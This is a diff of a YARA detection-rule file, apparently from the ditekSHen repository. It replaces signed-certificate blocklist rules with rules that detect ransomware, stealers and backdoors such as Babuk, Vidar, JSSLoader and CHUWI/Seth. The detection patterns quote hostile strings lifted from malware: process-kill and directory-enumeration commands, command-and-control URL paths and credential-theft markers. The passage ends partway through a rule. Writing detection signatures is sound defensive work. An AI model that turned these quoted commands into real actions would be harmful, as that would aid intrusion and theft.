+		$s4 = "GUpdate" fullword ascii
+		$s5 = "%s\\%d.bak" fullword ascii
+		$s6 = "\"%s\",MainThread" ascii
+		$s7 = "rundll32.exe" fullword ascii
+		$rev1 = "emankcosteg" fullword ascii
+		$rev2 = "ini.revreS\\" fullword ascii
+		$rev3 = "daerhTniaM,\"s%\" s%" ascii
+		$rev4 = "s% etadpUllD,\"s%\" 23lldnuR" ascii
+		$rev5 = "---DNE yromeMmorFdaoL" fullword ascii
+		$rev6 = "eMnigulP" fullword ascii
+		$rev7 = "exe.23lldnuR\\" fullword ascii
+		$rev8 = "dnammoc\\nepo\\llehs\\" ascii
+		$rev9 = "\"s%\" k- exe.tsohcvs\\23metsyS\\%%tooRmetsyS%" ascii
+		$rev10 = "emanybtsohteg" fullword ascii
+		$rev11 = "tekcosesolc" fullword ascii
+		$rev12 = "tpokcostes" fullword ascii
+		$rev13 = "emantsohteg" fullword ascii
+		$v2_1 = "%%SystemRoot%%\\System32\\svchost.exe -k \"%s\"" fullword ascii
+		$v2_2 = "LoadFromMemory END---" fullword ascii
+		$v2_3 = "hmProxy!= NULL" fullword ascii
+		$v2_4 = "Rundll32 \"%s\",DllUpdate %s" fullword ascii
+		$v2_5 = "ipip.website" fullword ascii
+		$v2_6 = "%d*%sMHz" fullword ascii
+		$v2_7 = "\\Server.ini" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lets Start SP Z O O" and pe.signatures[i].serial=="00:af:f7:62:e9:07:f0:64:4e:76:ed:8a:74:85:fb:12:a1")
+		uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($rev*) or 6 of ($v*) or 8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5B440A47E8Ce3Dd202271E5C7A666C78 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent05 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects an unknown dropper. Typically exisys as a DLL in base64-encoded gzip-compressed file embedded within another executable"
 		author = "ditekSHen"
-		id = "62c9a37c-e4dd-5925-a019-08bf6a77476d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a8a72484-42be-5c5c-962b-75bed8acdf39"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2053-L2064"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3538-L3551"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f898a3495e173d85fd62598da87ab15cbee0674519231a5e770204a4db3cd93f"
+		logic_hash = "e8c7c03451bbfcba7a1ab02f8c1320ad50d17d2e990f0e2f89942faea2a1e531"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "07e4cbdd52027e38b86727e88b33a0a1d49fe18f5aee4101353dd371d7a28da5"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.DLAgent05"
+
+	strings:
+		$s1 = "MARCUS.dll" fullword ascii wide
+		$s2 = "GZipStream" fullword ascii
+		$s3 = "MemoryStream" fullword ascii
+		$s4 = "proj_name" fullword ascii
+		$s5 = "res_name" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Master Networking s.r.o." and pe.signatures[i].serial=="5b:44:0a:47:e8:ce:3d:d2:02:27:1e:5c:7a:66:6c:78")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Fe41941464B9992A69B7317418Ae8Eb7 : FILE
+rule DITEKSHEN_MALWARE_Win_Nemty : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Nemty/Nefilim ransomware"
 		author = "ditekSHen"
-		id = "44626304-7f68-5d3a-81b4-91ee0bd09cc3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "361269c6-5215-5ecf-869c-3c55ff8387e1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2066-L2077"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3553-L3577"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "713a2cfc95b83de71064e198b26b716790c7cf21674961720695ab6749cb2ad1"
+		logic_hash = "dcebcddc472f4fb3bb34c35fc5a5424e54bfc3a262fdae10b189d210217b9b37"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ef4da71810fb92e942446ee1d9b5f38fea49628e0d8335a485f328fcef7f1a20"
-		importance = 20
+
+	strings:
+		$s1 = "Go build ID:" ascii
+		$s2 = "GOMAXPROCSGetIfEntryGetVersionGlagoliticKharoshthiManichaeanOld_ItalicOld_PermicOld_TurkicOther_MathPOSTALCODEPhoenicianSaurasht" ascii
+		$s3 = "crypto/x509.ExtKeyUsage" ascii
+		$s4 = "crypto/x509.KeyUsageContentCommitment" ascii
+		$s5 = "DEK-Info header" ascii
+		$s6 = "GetUserProfileDirectoryWMagallanes Standard TimeMontevideo Standard TimeNorth Asia Standard TimePacific SA Standard TimeQueryPerformanceCounter" fullword ascii
+		$s7 = "*( -  <  =  >  k= m=%: +00+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12..." ascii
+		$s8 = "Go cmd/compile go1.10" fullword ascii
+		$s9 = ".dllprogramdatarecycle.bin" ascii
+		$s10 = ".dll.exe.lnk.sys.url" ascii
+		$vx1_1 = "Fa1led to os.OpenFile()" ascii
+		$vx1_2 = "-HELP.txt" ascii
+		$vf1_1 = "main.CTREncrypt" fullword ascii
+		$vf1_2 = "main.FileSearch" fullword ascii
+		$vf1_3 = "main.getdrives" fullword ascii
+		$vf1_4 = "main.RSAEncrypt" fullword ascii
+		$vf1_5 = "main.SaveNote" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Milsean Software Limited" and pe.signatures[i].serial=="00:fe:41:94:14:64:b9:99:2a:69:b7:31:74:18:ae:8e:b7")
+		uint16(0)==0x5a4d and (9 of ($s*) or ( all of ($vx*) and 2 of ($s*)) or all of ($vf*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_29128A56E7B3Bfb230742591Ac8B4718 : FILE
+rule DITEKSHEN_MALWARE_Win_Qnapcrypt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects QnapCrypt/Lockedv1/Cryptfile2 ransomware"
 		author = "ditekSHen"
-		id = "58a9e9f1-531b-5dee-aa11-1537838e9d3f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3ef5643a-f2af-5d62-8927-e46679e069c2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2079-L2090"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3579-L3607"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "16c9843b5e3edafa64e07626fda494452efa5d0bcaa80d7d80683258c2b9acd4"
+		logic_hash = "68fc3f0503d82295ffa5bfb49bda8b790142913217775a2812e3965a6c9a1fe1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "f9fcc798e1fccee123034fe9da9a28283de48ba7ae20f0c55ce0d36ae4625133"
-		importance = 20
+
+	strings:
+		$go = "Go build ID:" ascii
+		$s1 = "Encrypting %s..." ascii
+		$s2 = "\\Start Menu\\Programs\\StartUp\\READMEV" ascii
+		$s3 = "main.deleteRecycleBin" ascii
+		$s4 = "main.encryptFiles" ascii
+		$s5 = "main.antiVirtualBox" ascii
+		$s6 = "main.antiVmware" ascii
+		$s7 = "main.deleteShadows" ascii
+		$s8 = "main.delUAC" ascii
+		$s9 = "main.KillProcess" ascii
+		$s10 = "main.delExploit" ascii
+		$s11 = "main.encrypt" ascii
+		$s12 = "main.ClearLogDownload" ascii
+		$s13 = "main.ClearLog" ascii
+		$s14 = "main.EndEncrypt" ascii
+		$s15 = "main.RunFuckLogAndSoft" ascii
+		$s16 = "main.ClearUsercache" ascii
+		$s17 = "main.FirstDuty" ascii
+		$s18 = ".lockedv1" ascii
+		$s19 = "WSAStartup\\clear.bat\\ngrok.exe\\video.mp4" ascii
+		$s20 = "net stop " ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Programavimo paslaugos, MB" and pe.signatures[i].serial=="29:12:8a:56:e7:b3:bf:b2:30:74:25:91:ac:8b:47:18")
+		uint16(0)==0x5a4d and $go and 6 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C2Bb11Cfc5E80Bf4E8Db2Ed0Aa7E50C5 : FILE
+rule DITEKSHEN_MALWARE_Win_Alfonoso : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Alfonoso / Shurk / HunterStealer infostealer"
 		author = "ditekSHen"
-		id = "d22ee868-71a7-52f4-93f3-b04b105fd399"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2766e74e-c13a-5ce4-8f62-de9cc11e3cf0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2092-L2103"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3609-L3638"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e54eeea70e85396b26fe188b848ef37c619aae5fc909c1a06ad0bc42fb9b0468"
+		logic_hash = "18e5731ffd70abf2ab70852d54dacc3588dd90cfb4f2ceaee66dfce750535b26"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "f1044e01ff30d14a3f6c89effae9dbcd2b43658a3f7885c109f6e22af1a8da4b"
-		importance = 20
+		snort2_sid = "920102"
+		snort3_sid = "920100"
+		clamav_sig = "MALWARE.Win.Trojan.Alfonso"
+
+	strings:
+		$s1 = "%s\\etilqs_" fullword ascii
+		$s2 = "SELECT name, rootpage, sql FROM '%q'.%s" fullword ascii
+		$s3 = "%s-mj%08X" fullword ascii
+		$s4 = "| Site:" ascii
+		$s5 = "| Login:" ascii
+		$s6 = "| Password:" ascii
+		$s7 = "| BUILD NAME:" ascii
+		$s8 = "recursive_directory_iterator" ascii
+		$s9 = { 2e 7a 69 70 00 00 00 00 2e 7a 6f 6f 00 00 00 00
+                2e 61 72 63 00 00 00 00 2e 6c 7a 68 00 00 00 00
+                2e 61 72 6a 00 00 00 00 2e 67 7a 00 2e 74 67 7a
+                00 00 00 00 }
+		$s10 = "Shurk Steal" fullword ascii
+		$s11 = ":memory:" fullword ascii
+		$s12 = "current_path()" fullword ascii
+		$s13 = "vtab:%p:%p" fullword ascii
+		$f1 = "chatlog.txt" ascii
+		$f2 = "servers.fav" ascii
+		$f3 = "\\USERDATA.DAT" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rooth Media Enterprises Limited" and pe.signatures[i].serial=="00:c2:bb:11:cf:c5:e8:0b:f4:e8:db:2e:d0:aa:7e:50:c5")
+		uint16(0)==0x5a4d and (8 of ($s*) or (6 of ($s*) and 2 of ($f*)) or ( all of ($f*) and 5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_040Cc2255Db4E48Da1B4F242F5Edfa73 : FILE
+rule DITEKSHEN_MALWARE_Win_Vidar : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Vidar / ArkeiStealer"
 		author = "ditekSHen"
-		id = "4673a61f-1c2b-5f92-af28-d55b5d913784"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d858c463-26d7-5f96-ad9a-cb261a8c61c6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2105-L2116"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3640-L3650"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ade204ebb2bf26515984d20ae459aaea56136acfd37a54abc794969fd05c54ce"
+		logic_hash = "c95c8694c05ff0e8d28f098e668a8ae8fa70130e31af6c0e540c4e5596007e41"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1270a79829806834146ef50a8036cfcc1067e0822e400f81073413a60aa9ed54"
-		importance = 20
+
+	strings:
+		$s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii
+		$s2 = "screenshot.jpg" fullword wide
+		$s3 = "Content-Disposition: form-data; name=\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Softland SRL" and pe.signatures[i].serial=="04:0c:c2:25:5d:b4:e4:8d:a1:b4:f2:42:f5:ed:fa:73")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3Bcaed3Ef678F2F9Bf38D09E149B8D70 : FILE
+rule DITEKSHEN_MALWARE_Win_Babuk : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Babuk ransomware"
 		author = "ditekSHen"
-		id = "decdae98-333f-58b3-8c48-b997da5fc3f3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6bb7093f-bbef-5b43-b4f9-be72ae4ef319"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2118-L2129"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3652-L3674"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9981e0aed672ebfcbe7f0bc1eee6a26a1523b8577d5ee572612aaebf23d1fbcf"
+		logic_hash = "5ca5c5106747cf8f4ccd5df4ddbc78321fea3c8f533cb807a704d270eb956007"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "45d598691e79be3c47e1883d4b0e149c13a76932ea630be429b0cfccf3217bc2"
-		importance = 20
+
+	strings:
+		$s1 = "ecdh_pub_k.bin" wide
+		$s2 = "How To Restore Your Files.txt" wide
+		$s3 = /(babuk|babyk)\s(ransomware|locker)/ ascii nocase
+		$s4 = "/login.php?id=" ascii
+		$s5 = "http://babuk" ascii
+		$s6 = "bootsect.bak" fullword wide
+		$s7 = "Can't open file after killHolder" ascii
+		$s8 = "Can't OpenProcess" ascii
+		$s9 = "DoYouWantToHaveSexWithCuongDong" ascii
+		$arg1 = "-lanfirst" fullword ascii
+		$arg2 = "-lansecond" fullword ascii
+		$arg3 = "-nolan" fullword ascii
+		$arg4 = "shares" fullword wide
+		$arg5 = "paths" fullword wide
+		$arg6 = "gdebug" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "StarY Media Inc." and pe.signatures[i].serial=="3b:ca:ed:3e:f6:78:f2:f9:bf:38:d0:9e:14:9b:8d:70")
+		uint16(0)==0x5a4d and (3 of ($s*) or (3 of ($arg*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_091736D368A5980Ebeb433A0Ecb49Fbb : FILE
+rule DITEKSHEN_MALWARE_Win_Nitol : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Nitol backdoor"
 		author = "ditekSHen"
-		id = "fb9446b5-2d49-51de-bedb-ea541d415ae2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d545f826-11ff-5d0f-9a95-8232b19d35b6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2131-L2142"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3676-L3704"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "858a98ba8fd3244b2c0f6d3dd89a294b0187dd1a82cdcca67c162985d80ca6ed"
+		logic_hash = "c0ddcd6179bea2f3af77ae198e07f55f62884e07a975623ae41bcec163060f89"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "b1c1dc94f0c775deeb46a0a019597c4ac27ab2810e3b3241bdc284d2fccf3eb5"
-		importance = 20
+
+	strings:
+		$s1 = "%$#@!.aspGET ^&*().htmlGET" ascii
+		$s2 = "Applications\\iexplore.exe\\shell\\open\\command" fullword ascii
+		$s3 = "taskkill /f /im rundll32.exe" fullword ascii
+		$s4 = "\\Tencent\\Users\\*.*" fullword ascii
+		$s5 = "[Pause Break]" fullword ascii
+		$s6 = ":]%d-%d-%d  %d:%d:%d" fullword ascii
+		$s7 = "GET %s HTTP/1.1" fullword ascii
+		$s8 = "GET %s%s HTTP/1.1" fullword ascii
+		$s9 = "Accept-Language: zh-cn" fullword ascii
+		$s10 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)" fullword ascii
+		$s11 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+		$s12 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$w1 = ".aspGET" ascii
+		$w2 = ".htmGET" ascii
+		$w3 = ".htmlGET" ascii
+		$domain = "www.xy999.com" fullword ascii
+		$v2_1 = "loglass" fullword ascii
+		$v2_2 = "rlehgs" fullword ascii
+		$v2_3 = "eherrali" fullword ascii
+		$v2_4 = "agesrlu" fullword ascii
+		$v2_5 = "lepejagas" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ELEKSIR, OOO" and pe.signatures[i].serial=="09:17:36:d3:68:a5:98:0e:be:b4:33:a0:ec:b4:9f:bb")
+		uint16(0)==0x5a4d and (5 of ($s*) or ( all of ($v2*)) or ($domain and 3 of them ) or (#w1>2 and #w2>2 and #w3>2 and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E48Cb3314977D77Dedcd4C77Dd144C50 : FILE
+rule DITEKSHEN_MALWARE_Win_Strongpity : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects StrongPity"
 		author = "ditekSHen"
-		id = "9b708e1b-a878-5244-8fe2-3061f058a9ab"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9dcc5edb-5c86-5412-af63-f88d488d5829"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2144-L2155"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3706-L3720"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2ca0ce3812be5e46cb0bc9c73fc4f31294c8d594ca821ad924a3f06cf2430ca"
+		logic_hash = "e92147966cd68152eb536b805c4918462f72f64280d1b3df800bb41266aa232f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "025bce0f36ec5bac08853966270ed2f5e28765d9c398044462a28c67d74d71e1"
-		importance = 20
+
+	strings:
+		$s1 = "Boundary%08X" ascii wide
+		$s2 = "Content-Disposition: form-data; name=\"file\";" fullword ascii
+		$s3 = "%sfilename=\"%ls\"" fullword ascii
+		$s4 = "name=%ls&delete=" fullword ascii
+		$s5 = "Content-Type: application/octet-stream" fullword ascii
+		$s6 = "cmd.exe /C ping" wide
+		$s7 = "& rmdir /Q /S \"" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BESPOKE SOFTWARE SOLUTIONS LIMITED" and pe.signatures[i].serial=="00:e4:8c:b3:31:49:77:d7:7d:ed:cd:4c:77:dd:14:4c:50")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1E72A72351Aecf884Df9Cdb77A16Fd84 : FILE
+rule DITEKSHEN_MALWARE_Win_Jssloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects JSSLoader RAT/backdoor"
 		author = "ditekSHen"
-		id = "7972befe-3a88-5ea5-a865-3d008b712bc9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ef710c21-5c64-513e-b882-b5768478976e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2157-L2168"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3722-L3752"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6555b89f1643f2e461a936df402dcbe8dd5100a1def76c7c6d8f792d1c0ed006"
+		logic_hash = "91764dabfb40cb51914110de229ddb00cd565078fef83c825f7a86fa502fda37"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "f945bbea1c2e2dd4ed17f5a98ea7c0f0add6bfc3d07353727b40ce48a7d5e48f"
-		importance = 20
+
+	strings:
+		$cmd1 = "Cmd_UPDATE" fullword ascii
+		$cmd2 = "Cmd_IDLE" fullword ascii
+		$cmd3 = "Cmd_EXE" fullword ascii
+		$cmd4 = "Cmd_VBS" fullword ascii
+		$cmd5 = "Cmd_JS" fullword ascii
+		$cmd6 = "Cmd_PWS" fullword ascii
+		$cmd7 = "Cmd_RAT" fullword ascii
+		$cmd8 = "Cmd_UNINST" fullword ascii
+		$cmd9 = "Cmd_RunDll" fullword ascii
+		$s1 = "ANSWER_OK" fullword ascii
+		$s2 = "GatherDFiles" ascii
+		$s3 = "CommandCd" fullword ascii
+		$s4 = "URL_GetCmd" fullword ascii
+		$s5 = "\"host\": \"{0}\", \"domain\": \"{1}\", \"user\": \"{2}\"" wide
+		$s6 = "pc_dns_host_name" wide
+		$s7 = "\"adinfo\": { \"adinformation\":" wide
+		$e1 = "//e:vbscript" wide
+		$e2 = "//e:jscript" wide
+		$e3 = "/c rundll32.exe" wide
+		$e4 = "/C powershell" wide
+		$e5 = "C:\\Windows\\System32\\cmd.exe" wide
+		$e6 = "echo del /f" wide
+		$e7 = "AT.U() {0}. format" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Buket and Co." and pe.signatures[i].serial=="1e:72:a7:23:51:ae:cf:88:4d:f9:cd:b7:7a:16:fd:84")
+		uint16(0)==0x5a4d and (5 of ($cmd*) or 5 of ($s*) or all of ($e*) or 7 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B383658885E271129A43D19De40C1Fc6 : FILE
+rule DITEKSHEN_MALWARE_Win_CHUWI_Seth : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "First sighting on 2020-01-05 didn't include ransomware artificats. Second sighting on 2020-01-24 with several correlations between the two samples now include ransomware artifacts."
 		author = "ditekSHen"
-		id = "47389dc4-8092-5e12-91a1-f370c9c507a9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "62af3cd3-59c3-580b-9d66-71fd4acfaf17"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2170-L2181"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3754-L3801"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9312bc8f1005d71393ab63f05bdabff52752ad939dd4311485dc4b56f75eece9"
+		logic_hash = "e6e3f5e9af093268667f67fec2176a943b35721e9f220804e176c6b5a3bb24e1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "ef234051b4b83086b675ff58aca85678544c14da39dbdf4d4fa9d5f16e654e2f"
-		importance = 20
+		snort2_sid = "920103-920105"
+		snort3_sid = "920101-920103"
+
+	strings:
+		$cmd1 = "shell_command" fullword ascii
+		$cmd2 = "check_command" fullword ascii
+		$cmd3 = "down_exec" fullword ascii
+		$cmd4 = "open_link" fullword ascii
+		$cmd5 = "down_exec" fullword ascii
+		$cmd6 = "exe_link" fullword ascii
+		$cmd7 = "shellCommand" fullword ascii
+		$cmd8 = "R_CMMAND" fullword ascii
+		$cnc1 = "/check_command.php?HWID=" ascii
+		$cnc2 = "&act=get_command" ascii
+		$cnc3 = "/get_command.php?hwid=" ascii
+		$cnc4 = "&command=down_exec" ascii
+		$cnc5 = "&command=message" ascii
+		$cnc6 = "&command=open_link" ascii
+		$cnc7 = "&command=down_exec" ascii
+		$cnc8 = "&command=shell" ascii
+		$pdb = "\\Users\\CHUWI\\Documents\\CPROJ\\Downloader\\svchost" ascii
+		$rcnc1 = "inc/check_command.php" ascii
+		$rcnc2 = "inc/get_command.php" ascii
+		$rcnc3 = "php?btc" ascii
+		$rcnc4 = "php?hwid" ascii
+		$x1 = "> %USERPROFILE%\\Desktop\\HOW_DECRYPT_FILES.seth.txt" ascii
+		$x2 = "/C dir /b %USERPROFILE%\\Documents > %temp%\\doc.txt" ascii
+		$x3 = "/C dir /b %USERPROFILE%\\Desktop > %temp%\\desk.txt" ascii
+		$x4 = "/C dir /b %USERPROFILE%\\Downloads > %temp%\\downs.txt" ascii
+		$x5 = "/C dir /b %USERPROFILE%\\Pictures > %temp%\\pics.txt" ascii
+		$x6 = "for /F \"delims=\" %%a in ('mshta.exe \"%~F0\"') do set \"HTA=%%a\"" ascii
+		$x7 = "\\svchost.exe" fullword ascii
+		$x8 = ".seth" fullword ascii
+		$x9 = "MyAgent" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Elekon" and pe.signatures[i].serial=="00:b3:83:65:88:85:e2:71:12:9a:43:d1:9d:e4:0c:1f:c6")
+		uint16(0)==0x5a4d and ($pdb or 5 of ($cmd*) or 4 of ($cnc*) or all of ($rcnc*) or 5 of ($x*) or 8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ca7D54577243934F665Fd1D443855A3D : FILE
+rule DITEKSHEN_MALWARE_Win_Gulpix : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Gulpix/HyperPlus backddor"
 		author = "ditekSHen"
-		id = "8519119d-a37b-5438-a642-48e1d40024b8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b3dfd1d9-42fe-57d4-8047-135103689be7"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2183-L2194"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3803-L3832"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
